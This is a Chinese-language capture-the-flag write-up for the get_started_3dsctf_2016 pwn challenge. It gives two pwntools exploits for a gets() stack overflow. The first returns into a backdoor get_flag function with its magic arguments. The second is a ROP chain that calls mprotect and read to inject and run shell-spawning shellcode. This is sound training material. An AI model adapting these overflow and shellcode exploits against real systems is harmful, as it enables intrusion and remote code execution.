get_started_3dsctf_2016 1
1.checksec
2.ida
gets(v4)存在栈溢出漏洞,可以利用
在紧挨着main函数上面发现疑似后门函数,点进去查看
发现只要满足条件a1 == 814536271 && a2 == 425138641就能启用后门函数,记住后门函数的地址0x80489A0
a1和a2是函数参数,我们可以进行传入,同时为了让get_flag正常结束,我们要使其返回函数为exit()
终于找到了exit()的起始地址为0x0804E6A0
故exp如下:
from pwn import*
p=remote('node4.buuoj.cn',25786)
context.log_level='debug'
payload=b'a'*0x38+p32(0x80489A0)+p32(0x804E6A0)+p32(814536271)+p32(425138641)
p.sendline(payload)
p.recv()
这里context.log_level='debug’别删,不然看不到flag,或者将recv()改为print(recv())也可以直接输出接收到的flag
运行得到flag
方法2
需要知道mprotect函数。这个函数就是用来修改内存权限的函数。
有3个参数,第一个参数就是需修改权限的起始地址,第二个参数是修改内存长度,第三个参数是权限,比如说0x7 = 111(二进制)就是可读可写可执行。
因此我们的思路大概就是先利用溢出漏洞,将返回地址改成mprotect函数的地址,接着改变某一内存区域的权限,想办法向这一内存区域中写入shellcode,然后执行即可。
写入函数,通过idea可以发现有read函数。
我们为了保持控制流,可以利用寄存器传参。
可以利用ropgadget来进行搜索相应寄存器
ROPgadget --binary pwn12 --only ‘pop|ret’|grep ’pop‘
这里用的0x080509a5作为mprotext的返回地址
exp
from pwn import*
p=remote('node4.buuoj.cn',25867)
elf=ELF('./pwn12')
pop_ret=0x080509a5
start_addr=0x080ea000
mpro_addr=elf.sym['mprotect']
read_addr=elf.sym['read']
main_addr=elf.sym['main']
payload=b'a'*(0x38)+p32(mpro_addr)+p32(pop_ret)+p32(start_addr)+p32(0x1000)+p32(7)
payload+=p32(read_addr)+p32(start_addr)+p32(0)+p32(start_addr)+p32(200)#read_addr后的start_addr为read的返回地址目的是为了read函数返回后能够执行该处的shellcode
p.sendline(payload)
payload=asm(shellcraft.sh())
p.sendline(payload)
p.interactive()